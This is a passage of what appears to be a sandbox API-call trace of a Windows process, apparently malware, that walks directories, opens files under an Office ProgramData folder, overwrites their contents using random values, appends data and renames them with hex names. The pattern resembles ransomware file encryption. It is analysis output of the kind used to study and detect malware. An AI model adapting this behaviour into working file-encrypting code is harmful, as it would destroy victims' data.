_Dest=0x1197f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0129.310] wcscat (in: _Dest=0x1197f0, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" [0145.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1197f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15cc [0145.828] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0145.828] FindClose (in: hFindFile=0x1cd9cbb0 | out: hFindFile=0x1cd9cbb0) returned 1 [0145.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1dd20) returned 1 [0145.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0145.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861ee0) returned 1 Thread: id = 1679 os_tid = 0x1bd0 [0129.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b861540 [0129.312] wcscpy (in: _Dest=0x1b861540, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" [0129.312] wcscat (in: _Dest=0x1b861540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\" [0129.312] wcscat (in: _Dest=0x1b861540, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*" [0129.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e6e0 [0129.312] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c370 [0129.313] wcscmp (_String1=".", _String2=".") returned 0 [0129.313] FindNextFileW (in: hFindFile=0x1cd9c370, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.313] wcscmp (_String1="..", _String2=".") returned 1 [0129.313] wcscmp (_String1="..", _String2="..") returned 0 [0129.313] FindNextFileW (in: hFindFile=0x1cd9c370, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0129.313] wcscmp (_String1="Client.xml", _String2=".") returned 1 [0129.313] wcscmp (_String1="Client.xml", _String2="..") returned 1 [0129.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x106f40 [0129.313] wcscpy (in: _Dest=0x106f40, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" [0129.313] wcscat (in: _Dest=0x106f40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\" [0129.313] wcscat (in: _Dest=0x106f40, _Source="Client.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" [0152.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2150 [0152.315] FindNextFileW (in: hFindFile=0x1cd9c370, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0152.315] FindClose (in: hFindFile=0x1cd9c370 | out: hFindFile=0x1cd9c370) returned 1 [0152.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e6e0) returned 1 [0152.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861540) returned 1 [0152.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ace70) returned 1 Thread: id = 1680 os_tid = 0x1bd4 [0129.315] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll")) returned 0x2020 [0129.318] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0129.322] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15ec [0129.322] GetFileSizeEx (in: hFile=0x15ec, lpFileSize=0x1dc0f7c0 | out: lpFileSize=0x1dc0f7c0*=14688) returned 1 [0129.322] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x395c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.322] ReadFile (in: hFile=0x15ec, lpBuffer=0x1dc0f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dc0f788, lpOverlapped=0x0 | out: lpBuffer=0x1dc0f740*, lpNumberOfBytesRead=0x1dc0f788*=0x4, lpOverlapped=0x0) returned 1 [0129.325] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad20 [0129.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594f0 [0129.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0129.325] NtQuerySystemTime (in: CurrentTime=0x1dc0f680 | out: CurrentTime=0x1dc0f680*=132462177345886000) returned 0x0 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x46306f52 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x572c2f3f [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x3219be25 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x51e081c4 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x76280258 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x23ee5cc3 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x5a9770a8 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x533359f0 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x58326f32 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x7e203c59 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x6894ab4e [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0xc0f2e91 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x265bb37d [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x76479ef2 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x2c62fbe3 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x384c3484 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x30e69083 [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0xa7b5d8b [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x5226c60a [0129.326] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x755638e7 [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x4ebc91a3 [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0xaa2fc87 [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x2a8f0164 [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x71ce774e [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x2663acd8 [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x17e166c3 [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x3fefff75 [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x1200981 [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x32a52f6f [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x36ad13de [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x5ccf732a [0129.327] RtlRandomEx (in: Seed=0x1dc0f670 | out: Seed=0x1dc0f670) returned 0x6cd14640 [0129.340] ReadFile (in: hFile=0x15ec, lpBuffer=0x20460f30, nNumberOfBytesToRead=0x3960, lpNumberOfBytesRead=0x1dc0f670, lpOverlapped=0x0 | out: lpBuffer=0x20460f30*, lpNumberOfBytesRead=0x1dc0f670*=0x3960, lpOverlapped=0x0) returned 1 [0129.342] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.342] WriteFile (in: hFile=0x15ec, lpBuffer=0x20468750*, nNumberOfBytesToWrite=0x3960, lpNumberOfBytesWritten=0x1dc0f674, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesWritten=0x1dc0f674*=0x3960, lpOverlapped=0x0) returned 1 [0161.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3830 [0161.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3860 [0161.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3860) returned 1 [0161.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20468750) returned 1 [0161.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20460f30) returned 1 [0161.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0161.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0161.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d81c0 [0161.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0161.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0161.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3860 [0161.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3860) returned 1 [0161.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8000 [0161.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3860 [0161.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3890 [0161.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3890) returned 1 [0161.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0161.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0161.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b77f170 [0161.147] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.148] WriteFile (in: hFile=0x15ec, lpBuffer=0x1b77f170*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x1dc0f790, lpOverlapped=0x0 | out: lpBuffer=0x1b77f170*, lpNumberOfBytesWritten=0x1dc0f790*=0x11a, lpOverlapped=0x0) returned 1 [0180.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1bb0 [0180.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0180.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c0f0 [0180.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c0f0) returned 1 [0180.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42d2c0f0 [0180.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c120 [0180.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c150 [0180.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c150) returned 1 [0180.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0180.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1bb0) returned 1 [0180.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1ced5800 [0180.751] sprintf (in: _Dest=0x1ced5800, _Format="%c%c" | out: _Dest="3e") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5802, _Format="%c%c" | out: _Dest="b6") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5804, _Format="%c%c" | out: _Dest="c7") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5806, _Format="%c%c" | out: _Dest="a6") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5808, _Format="%c%c" | out: _Dest="00") returned 2 [0180.751] sprintf (in: _Dest=0x1ced580a, _Format="%c%c" | out: _Dest="18") returned 2 [0180.751] sprintf (in: _Dest=0x1ced580c, _Format="%c%c" | out: _Dest="be") returned 2 [0180.751] sprintf (in: _Dest=0x1ced580e, _Format="%c%c" | out: _Dest="41") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5810, _Format="%c%c" | out: _Dest="a7") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5812, _Format="%c%c" | out: _Dest="30") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5814, _Format="%c%c" | out: _Dest="09") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5816, _Format="%c%c" | out: _Dest="7f") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5818, _Format="%c%c" | out: _Dest="8b") returned 2 [0180.751] sprintf (in: _Dest=0x1ced581a, _Format="%c%c" | out: _Dest="8a") returned 2 [0180.751] sprintf (in: _Dest=0x1ced581c, _Format="%c%c" | out: _Dest="78") returned 2 [0180.751] sprintf (in: _Dest=0x1ced581e, _Format="%c%c" | out: _Dest="1f") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5820, _Format="%c%c" | out: _Dest="cd") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5822, _Format="%c%c" | out: _Dest="05") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5824, _Format="%c%c" | out: _Dest="e8") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5826, _Format="%c%c" | out: _Dest="68") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5828, _Format="%c%c" | out: _Dest="b0") returned 2 [0180.751] sprintf (in: _Dest=0x1ced582a, _Format="%c%c" | out: _Dest="7d") returned 2 [0180.751] sprintf (in: _Dest=0x1ced582c, _Format="%c%c" | out: _Dest="bb") returned 2 [0180.751] sprintf (in: _Dest=0x1ced582e, _Format="%c%c" | out: _Dest="f9") returned 2 [0180.751] sprintf (in: _Dest=0x1ced5830, _Format="%c%c" | out: _Dest="0f") returned 2 [0180.752] sprintf (in: _Dest=0x1ced5832, _Format="%c%c" | out: _Dest="48") returned 2 [0180.752] sprintf (in: _Dest=0x1ced5834, _Format="%c%c" | out: _Dest="46") returned 2 [0180.752] sprintf (in: _Dest=0x1ced5836, _Format="%c%c" | out: _Dest="9e") returned 2 [0180.752] sprintf (in: _Dest=0x1ced5838, _Format="%c%c" | out: _Dest="54") returned 2 [0180.752] sprintf (in: _Dest=0x1ced583a, _Format="%c%c" | out: _Dest="9c") returned 2 [0180.752] sprintf (in: _Dest=0x1ced583c, _Format="%c%c" | out: _Dest="4b") returned 2 [0180.752] sprintf (in: _Dest=0x1ced583e, _Format="%c%c" | out: _Dest="d5") returned 2 [0180.752] sprintf (in: _Dest=0x1ced5840, _Format="%c%c" | out: _Dest="31") returned 2 [0180.752] sprintf (in: _Dest=0x1ced5842, _Format="%c%c" | out: _Dest="fe") returned 2 [0180.752] sprintf (in: _Dest=0x1ced5844, _Format="%c%c" | out: _Dest="8a") returned 2 [0180.752] sprintf (in: _Dest=0x1ced5846, _Format="%c%c" | out: _Dest="e5") returned 2 [0180.752] sprintf (in: _Dest=0x1ced5848, _Format="%c%c" | out: _Dest="19") returned 2 [0180.752] sprintf (in: _Dest=0x1ced584a, _Format="%c%c" | out: _Dest="51") returned 2 [0180.752] sprintf (in: _Dest=0x1ced584c, _Format="%c%c" | out: _Dest="05") returned 2 [0180.752] sprintf (in: _Dest=0x1ced584e, _Format="%c%c" | out: _Dest="c8") returned 2 [0180.752] RtlInitAnsiString (in: DestinationString=0x1dc0f808, SourceString="3eb6c7a60018be41a730097f8b8a781fcd05e868b07dbbf90f48469e549c4bd531fe8ae5195105c8" | out: DestinationString="3eb6c7a60018be41a730097f8b8a781fcd05e868b07dbbf90f48469e549c4bd531fe8ae5195105c8") [0180.752] RtlAnsiStringToUnicodeString (in: DestinationString=0x1dc0f7d8, SourceString="3eb6c7a60018be41a730097f8b8a781fcd05e868b07dbbf90f48469e549c4bd531fe8ae5195105c8", AllocateDestinationString=1 | out: DestinationString="3eb6c7a60018be41a730097f8b8a781fcd05e868b07dbbf90f48469e549c4bd531fe8ae5195105c8") returned 0x0 [0180.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050d0b0 [0180.753] RtlFreeAnsiString (AnsiString="3") [0180.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5800) returned 1 [0180.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c0f0) returned 1 [0180.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c120) returned 1 [0180.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77f170) returned 1 [0185.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8000) returned 1 [0185.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3860) returned 1 [0185.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d81c0) returned 1 [0185.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3830) returned 1 [0185.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8594f0) returned 1 [0185.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0185.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85acf0) returned 1 [0185.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1ce63150 [0185.901] wcscat (in: _Dest=0x1ce63150, _Source="3eb6c7a60018be41a730" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\3eb6c7a60018be41a730") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\3eb6c7a60018be41a730" [0185.901] wcscat (in: _Dest=0x1ce63150, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\3eb6c7a60018be41a730.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\3eb6c7a60018be41a730.2f9b60" [0185.901] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\3eb6c7a60018be41a730.2f9b60", NtPathName=0x1dc0f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\3eb6c7a60018be41a730.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0185.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x42c36e10 Thread: id = 1681 os_tid = 0x1bd8 [0129.352] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll")) returned 0x2020 [0129.354] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0129.356] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd78 [0129.356] GetFileSizeEx (in: hFile=0xd78, lpFileSize=0x1e8ff8c0 | out: lpFileSize=0x1e8ff8c0*=48992) returned 1 [0129.356] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0xbf5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.356] ReadFile (in: hFile=0xd78, lpBuffer=0x1e8ff840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e8ff888, lpOverlapped=0x0 | out: lpBuffer=0x1e8ff840*, lpNumberOfBytesRead=0x1e8ff888*=0x4, lpOverlapped=0x0) returned 1 [0129.359] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad20 [0129.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0129.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0129.360] NtQuerySystemTime (in: CurrentTime=0x1e8ff780 | out: CurrentTime=0x1e8ff780*=132462177346198000) returned 0x0 [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x768dc60e [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x502e3e5b [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x6185a758 [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x4dc2cbd3 [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x7b5ad5f7 [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x25ae89ea [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x5b9b8876 [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x33ccb14b [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x4e7e4f30 [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x10982bf6 [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0xf10676b [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x2ef6d2af [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x510564cd [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x2b9d9b4e [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x5cbf9d52 [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 